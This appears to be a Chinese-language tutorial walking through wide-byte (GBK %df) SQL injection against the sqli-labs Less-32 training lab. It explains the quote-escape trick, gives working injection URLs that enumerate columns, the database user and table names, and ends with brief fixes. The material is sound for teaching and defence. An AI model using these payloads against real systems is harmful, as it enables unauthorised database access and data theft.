- 宽字节注入主要来自程序员设置数据库编码为非英文编码就有可能产生宽字节注入,典型情景是网站使用GBK编码,数据库使用UTF-8编码。
http://192.168.66.144/2sqli-labs/less-32/?id=1'

1.jpg
- 由上图可以看出单引号被转义,是不是不存在注入呢?接下来继续操作。
- 加了个%df和单引号就报错了,说明可能存在宽字节注入,为什么会产生这样的情况呢?
id=1' 变成 id=1\' 变成 id=1%5c%27
id=1%df' 变成 id=1%df%5c%27 变成 id=1%DF5C%27 变成 id=1運'
其实就是利用gbk是多字节的编码,两个字节代表一个汉字
%df和%5c 组合出了一个 運 字 造成单引号逃逸
- 下面就开始正常注入
http://192.168.66.144/2sqli-labs/less-32/?id=1%df' and 1=2 order by 3+--+
#返回正常
http://192.168.66.144/2sqli-labs/less-32/?id=1%df' and 1=2 order by 4+--+
#返回错误

3.jpg

4.jpg
-
http://192.168.66.144/2sqli-labs/less-32/?id=1%df' +and 1=2+UNION+ALL+SELECT+1,user(),3+--+
#查询user

5.jpg
- 查询数据库中的数据表
http://192.168.66.144/2sqli-labs/less-32/?id=1%df' and 1=2 union select 1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),3+--+

6.jpg
- 接下来的操作就跟普通注入一样了,一 一读取表,字段,值,就可以了
- 修复:
(1)使用mysql_set_charset(GBK)指定字符集
(2)使用mysql_real_escape_string进行转义
网友评论